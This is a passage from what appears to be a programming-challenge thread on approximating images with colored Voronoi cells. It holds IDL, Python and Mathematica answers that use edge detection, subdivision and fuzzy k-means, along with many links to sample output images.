detection:\n[![abc](https://i.stack.imgur.com/2cHwJ.jpg)](https://i.stack.imgur.com/Pm1CP.png) [![abc](https://i.stack.imgur.com/hdqEB.jpg)](https://i.stack.imgur.com/MJIMw.png)\nThen comes the real grunt-work: we subdivide the image into 4, and measure the variance in each quadrant in the filtered image. Our variance is weighted by the size of the subdivision (which in this first step is equal), so that \"edgy\" regions with high variance don't get subdivided smaller and smaller and smaller. Then, we use the weighted variance to target subdivisions with more detail, and iteratively subdivide each detail-rich section into 4 additional, until we hit our target number of sites (each subdivision contains exactly one site). Since we're adding 3 sites each time we iterate, we end up with `n - 2 <= N <= n` sites.\nI made a .webm of the subdivision process for this image, which I can't embed, but it's [here](http://a.pomf.se/wpwfzp.webm); the color in each subsection is determined by the weighted variance. (I made the same kind of video for the white-background yoshi, for comparison, with the color table reversed so it goes toward white instead of black; it's [here](http://a.pomf.se/dvpahq.webm).) The final product of the subdivision looks like this:\n[![abc](https://i.stack.imgur.com/9H08D.jpg)](https://i.stack.imgur.com/HbORk.png)\nOnce we have our list of subdivisions, we go through each subdivision. The final site location is the position of the minimum of the Prewitt image, i.e., the least \"edgy\" pixel, and the color of the section is the color of that pixel; here's the original image, with sites marked:\n[![abc](https://i.stack.imgur.com/Pf8MG.png)](https://i.stack.imgur.com/Pf8MG.png)\nThen, we use the built-in `triangulate` to calculate the Delaunay triangulation of the sites, and the built-in `voronoi` to define the vertices of each Voronoi polygon, before drawing each polygon to an image buffer in its respective color. Finally, we save a snapshot of the image buffer.\n[![abc](https://i.stack.imgur.com/8w4Ni.png)](https://i.stack.imgur.com/8w4Ni.png)\nThe code:\n```\nfunction subdivide, image, bounds, vars\n ;subdivide a section into 4, and return the 4 subdivisions and the variance of each\n division = list()\n vars = list()\n nx = bounds[2] - bounds[0]\n ny = bounds[3] - bounds[1]\n for i=0,1 do begin\n for j=0,1 do begin\n x = i * nx/2 + bounds[0]\n y = j * ny/2 + bounds[1]\n sub = image[x:x+nx/2-(~(nx mod 2)),y:y+ny/2-(~(ny mod 2))]\n division.add, [x,y,x+nx/2-(~(nx mod 2)),y+ny/2-(~(ny mod 2))]\n vars.add, variance(sub) * n_elements(sub)\n endfor\n endfor\n return, division\nend\npro voro_map, n, image, outfile\n sz = size(image, /dim)\n ;first, convert image to greyscale, and then use a Prewitt filter to pick out edges\n edges = prewitt(reform(ct_luminance(image[0,*,*], image[1,*,*], image[2,*,*])))\n ;next, iteratively subdivide the image into sections, using variance to pick\n ;the next subdivision target (variance -> detail) until we've hit N subdivisions\n subdivisions = subdivide(edges, [0,0,sz[1],sz[2]], variances)\n while subdivisions.count() lt (n - 2) do begin\n !null = max(variances.toarray(),target)\n oldsub = subdivisions.remove(target)\n newsub = subdivide(edges, oldsub, vars)\n if subdivisions.count(newsub[0]) gt 0 or subdivisions.count(newsub[1]) gt 0 or subdivisions.count(newsub[2]) gt 0 or subdivisions.count(newsub[3]) gt 0 then stop\n subdivisions += newsub\n variances.remove, target\n variances += vars\n endwhile\n ;now we find the minimum edge value of each subdivision (we want to pick representative \n ;colors, not edge colors) and use that as the site (with associated color)\n sites = fltarr(2,n)\n colors = lonarr(n)\n foreach sub, subdivisions, i do begin\n slice = edges[sub[0]:sub[2],sub[1]:sub[3]]\n !null = min(slice,target)\n sxy = array_indices(slice, target) + sub[0:1]\n sites[*,i] = sxy\n colors[i] = cgcolor24(image[0:2,sxy[0],sxy[1]])\n endforeach\n ;finally, generate the voronoi map\n old = !d.NAME\n set_plot, 'Z'\n device, set_resolution=sz[1:2], decomposed=1, set_pixel_depth=24\n triangulate, sites[0,*], sites[1,*], tr, connectivity=C\n for i=0,n-1 do begin\n if C[i] eq C[i+1] then continue\n voronoi, sites[0,*], sites[1,*], i, C, xp, yp\n cgpolygon, xp, yp, color=colors[i], /fill, /device\n endfor\n !null = cgsnapshot(file=outfile, /nodialog)\n set_plot, old\nend\npro wrapper\n cd, '~/voronoi'\n fs = file_search()\n foreach f,fs do begin\n base = strsplit(f,'.',/extract)\n if base[1] eq 'png' then im = read_png(f) else read_jpeg, f, im\n voro_map,100, im, base[0]+'100.png'\n voro_map,500, im, base[0]+'500.png'\n voro_map,1000,im, base[0]+'1000.png'\n endforeach\nend\n```\nCall this via `voro_map, n, image, output_filename`. I included a `wrapper` procedure as well, which went through each test image and ran with 100, 500, and 1000 sites.\nOutput collected [here](https://i.stack.imgur.com/g8pj3.jpg), and here are some thumbnails:\n`n = 100`\n[![abc](https://i.stack.imgur.com/GcwEe.jpg)](https://i.stack.imgur.com/6NfYm.png)\n[![abc](https://i.stack.imgur.com/82Cnl.jpg)](https://i.stack.imgur.com/EYv2V.png)\n[![abc](https://i.stack.imgur.com/CVjJv.jpg)](https://i.stack.imgur.com/JW9lK.png)\n[![abc](https://i.stack.imgur.com/gXh3c.jpg)](https://i.stack.imgur.com/BdlW5.png)\n[![abc](https://i.stack.imgur.com/W9RNo.jpg)](https://i.stack.imgur.com/4dKOI.png)\n[![abc](https://i.stack.imgur.com/9gaO6.jpg)](https://i.stack.imgur.com/rSiaR.png)\n[![abc](https://i.stack.imgur.com/ZJU0E.jpg)](https://i.stack.imgur.com/uTEym.png)\n[![abc](https://i.stack.imgur.com/TjJMO.jpg)](https://i.stack.imgur.com/CvGKQ.png)\n[![abc](https://i.stack.imgur.com/SGV7w.jpg)](https://i.stack.imgur.com/cajuZ.png)\n[![abc](https://i.stack.imgur.com/hexp6.jpg)](https://i.stack.imgur.com/NA3XO.png)\n[![abc](https://i.stack.imgur.com/RhS3J.jpg)](https://i.stack.imgur.com/JwjyA.png)\n[![abc](https://i.stack.imgur.com/srEsm.jpg)](https://i.stack.imgur.com/XCBFR.png)\n[![abc](https://i.stack.imgur.com/cXFzj.jpg)](https://i.stack.imgur.com/8h4Rs.png)\n`n = 500`\n[![abc](https://i.stack.imgur.com/xFeSV.jpg)](https://i.stack.imgur.com/uTKjV.png)\n[![abc](https://i.stack.imgur.com/z59dJ.jpg)](https://i.stack.imgur.com/QXeOq.png)\n[![abc](https://i.stack.imgur.com/Vrgcr.jpg)](https://i.stack.imgur.com/JlEJd.png)\n[![abc](https://i.stack.imgur.com/vy7Sq.jpg)](https://i.stack.imgur.com/xwvsZ.png)\n[![abc](https://i.stack.imgur.com/29lAJ.jpg)](https://i.stack.imgur.com/z2SwI.png)\n[![abc](https://i.stack.imgur.com/Sfech.jpg)](https://i.stack.imgur.com/2I2qh.png)\n[![abc](https://i.stack.imgur.com/B1fIi.jpg)](https://i.stack.imgur.com/IWMlO.png)\n[![abc](https://i.stack.imgur.com/YRXkw.jpg)](https://i.stack.imgur.com/EZNqF.png)\n[![abc](https://i.stack.imgur.com/VKNkd.jpg)](https://i.stack.imgur.com/BZgky.png)\n[![abc](https://i.stack.imgur.com/1gBY1.jpg)](https://i.stack.imgur.com/ILToX.png)\n[![abc](https://i.stack.imgur.com/Gq1wE.jpg)](https://i.stack.imgur.com/RH9pM.png)\n[![abc](https://i.stack.imgur.com/6WF8v.jpg)](https://i.stack.imgur.com/cNDha.png)\n[![abc](https://i.stack.imgur.com/8DJ52.jpg)](https://i.stack.imgur.com/GKzlU.png)\n`n = 1000`\n[![abc](https://i.stack.imgur.com/DAiqn.jpg)](https://i.stack.imgur.com/tLOm9.png)\n[![abc](https://i.stack.imgur.com/2wTvA.jpg)](https://i.stack.imgur.com/F3y2R.png)\n[![abc](https://i.stack.imgur.com/drsxI.jpg)](https://i.stack.imgur.com/4orK6.png)\n[![abc](https://i.stack.imgur.com/png9H.jpg)](https://i.stack.imgur.com/8uemd.png)\n[![abc](https://i.stack.imgur.com/t6a3L.jpg)](https://i.stack.imgur.com/uLOOJ.png)\n[![abc](https://i.stack.imgur.com/Rr5vu.jpg)](https://i.stack.imgur.com/Kr3fM.png)\n[![abc](https://i.stack.imgur.com/aVgBQ.jpg)](https://i.stack.imgur.com/8w4Ni.png)\n[![abc](https://i.stack.imgur.com/zt6nZ.jpg)](https://i.stack.imgur.com/wYHRY.png)\n[![abc](https://i.stack.imgur.com/JHYoT.jpg)](https://i.stack.imgur.com/sZQlK.png)\n[![abc](https://i.stack.imgur.com/Sgpe4.jpg)](https://i.stack.imgur.com/K3Z6U.png)\n[![abc](https://i.stack.imgur.com/lH2pv.jpg)](https://i.stack.imgur.com/KY30D.png)\n[![abc](https://i.stack.imgur.com/9h6Ux.jpg)](https://i.stack.imgur.com/hxFFL.png)\n[![abc](https://i.stack.imgur.com/VHmHx.jpg)](https://i.stack.imgur.com/MKxDP.png)\n[Answer]\n# Python 3 + PIL + SciPy, Fuzzy k-means\n```\nfrom collections import defaultdict\nimport itertools\nimport random\nimport time\nfrom PIL import Image\nimport numpy as np\nfrom scipy.spatial import KDTree, Delaunay\nINFILE = \"planet.jpg\"\nOUTFILE = \"voronoi.txt\"\nN = 3000\nDEBUG = True # Outputs extra images to see what's happening\nFEATURE_FILE = \"features.png\"\nSAMPLE_FILE = \"samples.png\"\nSAMPLE_POINTS = 20000\nITERATIONS = 10\nCLOSE_COLOR_THRESHOLD = 15\n\"\"\"\nColor conversion functions\n\"\"\"\nstart_time = time.time()\n# http://www.easyrgb.com/?X=MATH\ndef rgb2xyz(rgb):\n r, g, b = rgb\n r /= 255\n g /= 255\n b /= 255\n r = ((r + 0.055)/1.055)**2.4 if r > 0.04045 else r/12.92\n g = ((g + 0.055)/1.055)**2.4 if g > 0.04045 else g/12.92\n b = ((b + 0.055)/1.055)**2.4 if b > 0.04045 else b/12.92\n r *= 100\n g *= 100\n b *= 100\n x = r*0.4124 + g*0.3576 + b*0.1805\n y = r*0.2126 + g*0.7152 + b*0.0722\n z = r*0.0193 + g*0.1192 + b*0.9505\n return (x, y, z)\ndef xyz2lab(xyz):\n x, y, z = xyz\n x /= 95.047\n y /= 100\n z /= 108.883\n x = x**(1/3) if x > 0.008856 else 7.787*x + 16/116\n y = y**(1/3) if y > 0.008856 else 7.787*y + 16/116\n z = z**(1/3) if z > 0.008856 else 7.787*z + 16/116\n L = 116*y - 16\n a = 500*(x - y)\n b = 200*(y - z)\n return (L, a, b)\ndef rgb2lab(rgb):\n return xyz2lab(rgb2xyz(rgb))\ndef lab2xyz(lab):\n L, a, b = lab\n y = (L + 16)/116\n x = a/500 + y\n z = y - b/200\n y = y**3 if y**3 > 0.008856 else (y - 16/116)/7.787\n x = x**3 if x**3 > 0.008856 else (x - 16/116)/7.787\n z = z**3 if z**3 > 0.008856 else (z - 16/116)/7.787\n x *= 95.047\n y *= 100\n z *= 108.883\n return (x, y, z)\ndef xyz2rgb(xyz):\n x, y, z = xyz\n x /= 100\n y /= 100\n z /= 100\n r = x* 3.2406 + y*-1.5372 + z*-0.4986\n g = x*-0.9689 + y* 1.8758 + z* 0.0415\n b = x* 0.0557 + y*-0.2040 + z* 1.0570\n r = 1.055 * (r**(1/2.4)) - 0.055 if r > 0.0031308 else 12.92*r\n g = 1.055 * (g**(1/2.4)) - 0.055 if g > 0.0031308 else 12.92*g\n b = 1.055 * (b**(1/2.4)) - 0.055 if b > 0.0031308 else 12.92*b\n r *= 255\n g *= 255\n b *= 255\n return (r, g, b)\ndef lab2rgb(lab):\n return xyz2rgb(lab2xyz(lab))\n\"\"\"\nStep 1: Read image and convert to CIELAB\n\"\"\"\nim = Image.open(INFILE)\nim = im.convert(\"RGB\")\nwidth, height = prev_size = im.size\npixlab_map = {}\nfor x in range(width):\n for y in range(height):\n pixlab_map[(x, y)] = rgb2lab(im.getpixel((x, y)))\nprint(\"Step 1: Image read and converted\")\n\"\"\"\nStep 2: Get feature points\n\"\"\"\ndef euclidean(point1, point2):\n return sum((x-y)**2 for x,y in zip(point1, point2))**.5\ndef neighbours(pixel):\n x, y = pixel\n results = []\n for dx, dy in itertools.product([-1, 0, 1], repeat=2):\n neighbour = (pixel[0] + dx, pixel[1] + dy)\n if (neighbour != pixel and 0 <= neighbour[0] < width\n and 0 <= neighbour[1] < height):\n results.append(neighbour)\n return results\ndef mse(colors, base):\n return sum(euclidean(x, base)**2 for x in colors)/len(colors)\nfeatures = []\nfor x in range(width):\n for y in range(height):\n pixel = (x, y)\n col = pixlab_map[pixel]\n features.append((mse([pixlab_map[n] for n in neighbours(pixel)], col),\n random.random(),\n pixel))\nfeatures.sort()\nfeatures_copy = [x[2] for x in features]\nif DEBUG:\n test_im = Image.new(\"RGB\", im.size)\n for i in range(len(features)):\n pixel = features[i][1]\n test_im.putpixel(pixel, (int(255*i/len(features)),)*3)\n test_im.save(FEATURE_FILE)\nprint(\"Step 2a: Edge detection-ish complete\")\ndef random_index(list_):\n r = random.expovariate(2)\n while r > 1:\n r = random.expovariate(2)\n return int((1 - r) * len(list_))\nsample_points = set()\nwhile features and len(sample_points) < SAMPLE_POINTS:\n index = random_index(features)\n point = features[index][2]\n sample_points.add(point)\n del features[index]\nprint(\"Step 2b: {} feature samples generated\".format(len(sample_points)))\nif DEBUG:\n test_im = Image.new(\"RGB\", im.size)\n for pixel in sample_points:\n test_im.putpixel(pixel, (255, 255, 255))\n test_im.save(SAMPLE_FILE)\n\"\"\"\nStep 3: Fuzzy k-means\n\"\"\"\ndef euclidean(point1, point2):\n return sum((x-y)**2 for x,y in zip(point1, point2))**.5\ndef get_centroid(points):\n return tuple(sum(coord)/len(points) for coord in zip(*points))\ndef mean_cell_color(cell):\n return get_centroid([pixlab_map[pixel] for pixel in cell])\ndef median_cell_color(cell):\n # Pick start point out of mean and up to 10 pixels in cell\n mean_col = get_centroid([pixlab_map[pixel] for pixel in cell])\n start_choices = [pixlab_map[pixel] for pixel in cell]\n if len(start_choices) > 10:\n start_choices = random.sample(start_choices, 10)\n start_choices.append(mean_col)\n best_dist = None\n col = None\n for c in start_choices:\n dist = sum(euclidean(c, pixlab_map[pixel])\n for pixel in cell)\n if col is None or dist < best_dist:\n col = c\n best_dist = dist\n # Approximate median by hill climbing\n last = None\n while last is None or euclidean(col, last) < 1e-6:\n last = col\n best_dist = None\n best_col = None\n for deviation in itertools.product([-1, 0, 1], repeat=3):\n new_col = tuple(x+y for x,y in zip(col, deviation))\n dist = sum(euclidean(new_col, pixlab_map[pixel])\n for pixel in cell)\n if best_dist is None or dist < best_dist:\n best_col = new_col\n col = best_col\n return col\ndef random_point():\n index = random_index(features_copy)\n point = features_copy[index]\n dx = random.random() * 10 - 5\n dy = random.random() * 10 - 5\n return (point[0] + dx, point[1] + dy)\ncentroids = np.asarray([random_point() for _ in range(N)])\nvariance = {i:float(\"inf\") for i in range(N)}\ncluster_colors = {i:(0, 0, 0) for i in range(N)}\n# Initial iteration\ntree = KDTree(centroids)\nclusters = defaultdict(set)\nfor point in sample_points:\n nearest = tree.query(point)[1]\n clusters[nearest].add(point)\n# Cluster!\nfor iter_num in range(ITERATIONS):\n if DEBUG:\n test_im = Image.new(\"RGB\", im.size)\n for n, pixels in clusters.items():\n color = 0xFFFFFF * (n/N)\n color = (int(color//256//256%256), int(color//256%256), int(color%256))\n for p in pixels:\n test_im.putpixel(p, color)\n test_im.save(SAMPLE_FILE)\n for cluster_num in clusters:\n if clusters[cluster_num]:\n cols = [pixlab_map[x] for x in clusters[cluster_num]]\n cluster_colors[cluster_num] = mean_cell_color(clusters[cluster_num])\n variance[cluster_num] = mse(cols, cluster_colors[cluster_num])\n else:\n cluster_colors[cluster_num] = (0, 0, 0)\n variance[cluster_num] = float(\"inf\")\n print(\"Clustering (iteration {})\".format(iter_num))\n # Remove useless/high variance\n if iter_num < ITERATIONS - 1:\n delaunay = Delaunay(np.asarray(centroids))\n neighbours = defaultdict(set)\n for simplex in delaunay.simplices:\n n1, n2, n3 = simplex\n neighbours[n1] |= {n2, n3}\n neighbours[n2] |= {n1, n3}\n neighbours[n3] |= {n1, n2}\n for num, centroid in enumerate(centroids):\n col = cluster_colors[num]\n like_neighbours = True\n nns = set() # neighbours + neighbours of neighbours\n for n in neighbours[num]:\n nns |= {n} | neighbours[n] - {num}\n nn_far = sum(euclidean(col, cluster_colors[nn]) > CLOSE_COLOR_THRESHOLD\n for nn in nns)\n if nns and nn_far / len(nns) < 1/5:\n sample_points -= clusters[num]\n for _ in clusters[num]:\n if features and len(sample_points) < SAMPLE_POINTS:\n index = random_index(features)\n point = features[index][3]\n sample_points.add(point)\n del features[index]\n clusters[num] = set()\n new_centroids = []\n for i in range(N):\n if clusters[i]:\n new_centroids.append(get_centroid(clusters[i]))\n else:\n new_centroids.append(random_point())\n centroids = np.asarray(new_centroids)\n tree = KDTree(centroids)\n clusters = defaultdict(set)\n for point in sample_points:\n nearest = tree.query(point, k=6)[1]\n col = pixlab_map[point]\n for n in nearest:\n if n < N and euclidean(col, cluster_colors[n])**2 <= variance[n]:\n clusters[n].add(point)\n break\n else:\n clusters[nearest[0]].add(point)\nprint(\"Step 3: Fuzzy k-means complete\")\n\"\"\"\nStep 4: Output\n\"\"\"\nfor i in range(N):\n if clusters[i]:\n centroids[i] = get_centroid(clusters[i])\ncentroids = np.asarray(centroids)\ntree = KDTree(centroids)\ncolor_clusters = defaultdict(set)\n# Throw back on some sample points to get the colors right\nall_points = [(x, y) for x in range(width) for y in range(height)]\nfor pixel in random.sample(all_points, int(min(width*height, 5 * SAMPLE_POINTS))):\n nearest = tree.query(pixel)[1]\n color_clusters[nearest].add(pixel)\nwith open(OUTFILE, \"w\") as outfile:\n for i in range(N):\n if clusters[i]:\n centroid = tuple(centroids[i]) \n col = tuple(x/255 for x in lab2rgb(median_cell_color(color_clusters[i] or clusters[i])))\n print(\" \".join(map(str, centroid + col)), file=outfile)\nprint(\"Done! Time taken:\", time.time() - start_time)\n```\n## The algorithm\nThe core idea is that k-means clustering naturally partitions the image into Voronoi cells, since points are tied to the nearest centroid. However, we need to somehow add in the colours as a constraint.\nFirst we convert each pixel to the [Lab color space](http://en.wikipedia.org/wiki/Lab_color_space), for better colour manipulation.\nThen we do a sort of \"poor man's edge detection\". For each pixel, we look at its orthogonal and diagonal neighbours, and calculate the mean-squared difference in colour. We then sort all of the pixels by this difference, with pixels most similar to their neighbours at the front of the list, and pixels most dissimilar to their neighbours at the back (i.e., more likely to be an edge point). Here's an example for the planet, where the brighter the pixel is, the more different it is from its neighbours:\n[![enter image description here](https://i.stack.imgur.com/HVNuC.jpg)](https://i.stack.imgur.com/HVNuC.jpg)\n*(There's a clear grid-like pattern on the rendered output above. According to @randomra, this is probably due to lossy JPG encoding, or imgur compressing the images.)*\nNext, we use this pixel ordering to sample a large number of points to be clustered. We use an exponential distribution, giving priority to points which are more edge-like and \"interesting\".\n[![enter image description here](https://i.stack.imgur.com/9oXfG.png)](https://i.stack.imgur.com/9oXfG.png)\nFor the clustering, we first pick `N` centroids, randomly chosen using the same exponential distribution as above. An initial iteration is performed, and for each of the resulting clusters we assign a mean colour and a colour variance threshold. Then for a number of iterations, we:\n* Build the Delaunay triangulation of the centroids, so that we can easily query neighbours to centroids.\n* Use the triangulation to remove centroids which are close in colour to most (> 4/5) of their neighbours and neighbour's neighbours combined. Any associated sample points are also removed, and new replacement centroids and sample points are added. This step tries to force the algorithm to place more clusters where detail is needed.\n* Construct a kd-tree for the new centroids, so that we can easily query the closest centroids to any sample point.\n* Use the tree to assign each sample point to one of the 6 closest centroids (6 chosen empirically). A centroid will only accept a sample point if the point's colour is within the centroid's colour variance threshold. We try to assign each sample point to the first accepting centroid, but if that's not possible then we simply assign it to the closest centroid. The \"fuzziness\" of the algorithm comes from this step, since it's possible for clusters to overlap.\n* Recompute the centroids.\n[![enter image description here](https://i.stack.imgur.com/w6Ujd.gif)](https://i.stack.imgur.com/w6Ujd.gif)\n*(Click for full size)*\nFinally, we sample a large number of points, this time using a uniform distribution. Using another kd-tree, we assign each point to its closest centroid, forming clusters. We then approximate the [median colour](http://en.wikipedia.org/wiki/Geometric_median) of each cluster using a hill-climbing algorithm, giving our final cell colours (idea for this step thanks to @PhiNotPi and @MartinBüttner).\n[![enter image description here](https://i.stack.imgur.com/jEvhE.png)](https://i.stack.imgur.com/jEvhE.png)\n## Notes\nIn addition to outputting a text file for the snippet (`OUTFILE`), if `DEBUG` is set to `True` the program will also output and overwrite the images above. The algorithm takes a couple of minutes for each image, so it's a good way of checking on progress which doesn't add an awful lot to the running time.\n## Sample outputs\n**N = 32:**\n[![enter image description here](https://i.stack.imgur.com/UvDAys.png)](https://i.stack.imgur.com/UvDAy.png)\n**N = 100:**\n[![enter image description here](https://i.stack.imgur.com/0NtKFs.png)](https://i.stack.imgur.com/0NtKF.png)\n[![enter image description here](https://i.stack.imgur.com/DtX6qs.png)](https://i.stack.imgur.com/DtX6q.png)\n[![enter image description here](https://i.stack.imgur.com/blmc3s.png)](https://i.stack.imgur.com/blmc3.png)\n[![enter image description here](https://i.stack.imgur.com/T7jafs.png)](https://i.stack.imgur.com/T7jaf.png)\n[![enter image description here](https://i.stack.imgur.com/A1SlKs.png)](https://i.stack.imgur.com/A1SlK.png)\n[![enter image description here](https://i.stack.imgur.com/BwR8Es.png)](https://i.stack.imgur.com/BwR8E.png)\n[![enter image description here](https://i.stack.imgur.com/3EGl4s.png)](https://i.stack.imgur.com/3EGl4.png)\n[![enter image description here](https://i.stack.imgur.com/FkSP0s.png)](https://i.stack.imgur.com/FkSP0.png)\n[![enter image description here](https://i.stack.imgur.com/Clwois.png)](https://i.stack.imgur.com/Clwoi.png)\n[![enter image description here](https://i.stack.imgur.com/Dn3Izs.png)](https://i.stack.imgur.com/Dn3Iz.png)\n[![enter image description here](https://i.stack.imgur.com/5oun7s.png)](https://i.stack.imgur.com/5oun7.png)\n[![enter image description here](https://i.stack.imgur.com/jfyKjs.png)](https://i.stack.imgur.com/jfyKj.png)\n[![enter image description here](https://i.stack.imgur.com/vFu4xs.png)](https://i.stack.imgur.com/vFu4x.png)\n**N = 1000:**\n[![enter image description here](https://i.stack.imgur.com/Nx2Mcs.png)](https://i.stack.imgur.com/Nx2Mc.png)\n[![enter image description here](https://i.stack.imgur.com/W98BJs.png)](https://i.stack.imgur.com/W98BJ.png)\n[![enter image description here](https://i.stack.imgur.com/MF1Ums.png)](https://i.stack.imgur.com/MF1Um.png)\n[![enter image description here](https://i.stack.imgur.com/KiJ1ls.png)](https://i.stack.imgur.com/KiJ1l.png)\n[![enter image description here](https://i.stack.imgur.com/G6PM3s.png)](https://i.stack.imgur.com/G6PM3.png)\n[![enter image description here](https://i.stack.imgur.com/34q8Js.png)](https://i.stack.imgur.com/34q8J.png)\n[![enter image description here](https://i.stack.imgur.com/VO8WQs.png)](https://i.stack.imgur.com/VO8WQ.png)\n[![enter image description here](https://i.stack.imgur.com/1OeWms.png)](https://i.stack.imgur.com/1OeWm.png)\n[![enter image description here](https://i.stack.imgur.com/0EFYfs.png)](https://i.stack.imgur.com/0EFYf.png)\n[![enter image description here](https://i.stack.imgur.com/vFtWos.png)](https://i.stack.imgur.com/vFtWo.png)\n[![enter image description here](https://i.stack.imgur.com/1qXvBs.png)](https://i.stack.imgur.com/1qXvB.png)\n[![enter image description here](https://i.stack.imgur.com/aVttSs.png)](https://i.stack.imgur.com/aVttS.png)\n[![enter image description here](https://i.stack.imgur.com/AmMp9s.png)](https://i.stack.imgur.com/AmMp9.png)\n**N = 3000:**\n[![enter image description here](https://i.stack.imgur.com/RRxXrs.png)](https://i.stack.imgur.com/RRxXr.png)\n[![enter image description here](https://i.stack.imgur.com/Epfr3s.png)](https://i.stack.imgur.com/Epfr3.png)\n[![enter image description here](https://i.stack.imgur.com/BJG6vs.png)](https://i.stack.imgur.com/BJG6v.png)\n[![enter image description here](https://i.stack.imgur.com/m2T13s.png)](https://i.stack.imgur.com/m2T13.png)\n[![enter image description here](https://i.stack.imgur.com/j5bIKs.png)](https://i.stack.imgur.com/j5bIK.png)\n[![enter image description here](https://i.stack.imgur.com/WK0PKs.png)](https://i.stack.imgur.com/WK0PK.png)\n[![enter image description here](https://i.stack.imgur.com/jwESBs.png)](https://i.stack.imgur.com/jwESB.png)\n[![enter image description here](https://i.stack.imgur.com/mswbMs.png)](https://i.stack.imgur.com/mswbM.png)\n[![enter image description here](https://i.stack.imgur.com/yXIEPs.png)](https://i.stack.imgur.com/yXIEP.png)\n[![enter image description here](https://i.stack.imgur.com/QBj83s.png)](https://i.stack.imgur.com/QBj83.png)\n[![enter image description here](https://i.stack.imgur.com/TKvN3s.png)](https://i.stack.imgur.com/TKvN3.png)\n[![enter image description here](https://i.stack.imgur.com/M70aNs.png)](https://i.stack.imgur.com/M70aN.png)\n[![enter image description here](https://i.stack.imgur.com/PLGcws.png)](https://i.stack.imgur.com/PLGcw.png)\n[Answer]\n# Mathematica, Random Cells\nThis is the baseline solution, so you get an idea of the minimum I'm asking from you. Given the file name (locally or as a URL) in `file` and **N** in `n`, the following code simply picks out **N** random pixels, and uses the colours found at those pixels. This is really naive and doesn't work incredibly well, but I want you guys to beat this after all. :)\n```\ndata = ImageData@Import@file;\ndims = Dimensions[data][[1 ;; 2]]\n{Reverse@#, data[[##]][[1 ;; 3]] & @@ Floor[1 + #]} &[dims #] & /@ \n RandomReal[1, {n, 2}]\n```\nHere are all the test images for **N = 100** (all images link to larger versions):\n[![enter image description here](https://i.stack.imgur.com/XGlfks.png)](https://i.stack.imgur.com/XGlfk.png)\n[![enter image description here](https://i.stack.imgur.com/lrIhPs.png)](https://i.stack.imgur.com/lrIhP.png)\n[![enter image description here](https://i.stack.imgur.com/UohSls.png)](https://i.stack.imgur.com/UohSl.png)\n[![enter image description here](https://i.stack.imgur.com/crkFBs.png)](https://i.stack.imgur.com/crkFB.png)\n[![enter image description here](https://i.stack.imgur.com/BCLLss.png)](https://i.stack.imgur.com/BCLLs.png)\n[![enter image description here](https://i.stack.imgur.com/e94j1s.png)](https://i.stack.imgur.com/e94j1.png)\n[![enter image description here](https://i.stack.imgur.com/ijcvUs.png)](https://i.stack.imgur.com/ijcvU.png)\n[![enter image description here](https://i.stack.imgur.com/02Q8ms.png)](https://i.stack.imgur.com/02Q8m.png)\n[![enter image description here](https://i.stack.imgur.com/0pcHCs.png)](https://i.stack.imgur.com/0pcHC.png)\n[![enter image description here](https://i.stack.imgur.com/D7neNs.png)](https://i.stack.imgur.com/D7neN.png)\n[![enter image description here](https://i.stack.imgur.com/dEHvNs.png)](https://i.stack.imgur.com/dEHvN.png)\n[![enter image description here](https://i.stack.imgur.com/Qekcbs.png)](https://i.stack.imgur.com/Qekcb.png)\nAs you can see, these are essentially useless. While they may have some artistic value, in an expressionist way, the original images are barely recognisable.\nFor **N = 500**, the situation is improved a bit, but there are still very odd artefacts, the images look washed out, and a lot of cells are wasted on regions without detail:\n[![enter image description here](https://i.stack.imgur.com/tXlWes.png)](https://i.stack.imgur.com/tXlWe.png)\n[![enter image description here](https://i.stack.imgur.com/S6SkMs.png)](https://i.stack.imgur.com/S6SkM.png)\n[![enter image description here](https://i.stack.imgur.com/SIqoZs.png)](https://i.stack.imgur.com/SIqoZ.png)\n[![enter image description here](https://i.stack.imgur.com/yZxaFs.png)](https://i.stack.imgur.com/yZxaF.png)\n[![enter image description here](https://i.stack.imgur.com/Mgbjcs.png)](https://i.stack.imgur.com/Mgbjc.png)\n[![enter image description here](https://i.stack.imgur.com/Ivt1is.png)](https://i.stack.imgur.com/Ivt1i.png)\n[![enter image description here](https://i.stack.imgur.com/FuUbos.png)](https://i.stack.imgur.com/FuUbo.png)\n[![enter image description here](https://i.stack.imgur.com/nJaBhs.png)](https://i.stack.imgur.com/nJaBh.png)\n[![enter image description here](https://i.stack.imgur.com/fGPUbs.png)](https://i.stack.imgur.com/fGPUb.png)\n[![enter image description here](https://i.stack.imgur.com/DKuDNs.png)](https://i.stack.imgur.com/DKuDN.png)\n[![enter image description here](https://i.stack.imgur.com/hQrvbs.png)](https://i.stack.imgur.com/hQrvb.png)\n[![enter image description here](https://i.stack.imgur.com/GnRHDs.png)](https://i.stack.imgur.com/GnRHD.png)\nYour turn!\n[Answer]\n# Mathematica\nWe all know Martin loves Mathematica so let me give it a try with Mathematica.\nMy algorithm uses random points from the image edges to create an initial voronoi diagram. The diagram is then prettified by an iterative adjustment of the mesh with a simple mean filter. This gives images with high cell density near high contrast regions and visually pleasing cells without crazy angles. \nThe following images show an example of the process in action. The fun is somewhat spoiled by Mathematicas bad Antialiasing, but we get vector graphics, that must be worth something.\nThis algorithm, without the random sampling, can be found in the `VoronoiMesh` documentation [here](http://reference.wolfram.com/language/ref/VoronoiMesh.html#1524939241).\n![enter image description here](https://i.stack.imgur.com/WSBwU.png)\n![enter image description here](https://i.stack.imgur.com/S6pW0.jpg)\n# Test Images (100,300,1000,3000)\n[![](https://i.stack.imgur.com/jTCJJ.jpg)](https://i.stack.imgur.com/XyolJ.png) [![](https://i.stack.imgur.com/yRvPj.jpg)](https://i.stack.imgur.com/dSEIu.png) [![](https://i.stack.imgur.com/oVekY.jpg)](https://i.stack.imgur.com/7M6Iv.png) [![](https://i.stack.imgur.com/APmvF.jpg)](https://i.stack.imgur.com/OqXem.png)\n[![](https://i.stack.imgur.com/kRO68.jpg)](https://i.stack.imgur.com/796el.png) [![](https://i.stack.imgur.com/RiZqK.jpg)](https://i.stack.imgur.com/b7SaE.png) [![](https://i.stack.imgur.com/kzGqI.jpg)](https://i.stack.imgur.com/Cd6J2.png) [![](https://i.stack.imgur.com/RbS5F.jpg)](https://i.stack.imgur.com/BhGxL.png)\n[![](https://i.stack.imgur.com/LaSo7.jpg)](https://i.stack.imgur.com/0RHdG.png) [![](https://i.stack.imgur.com/Hl40u.jpg)](https://i.stack.imgur.com/WtVWl.png) [![](https://i.stack.imgur.com/9nprR.jpg)](https://i.stack.imgur.com/rib4V.png) 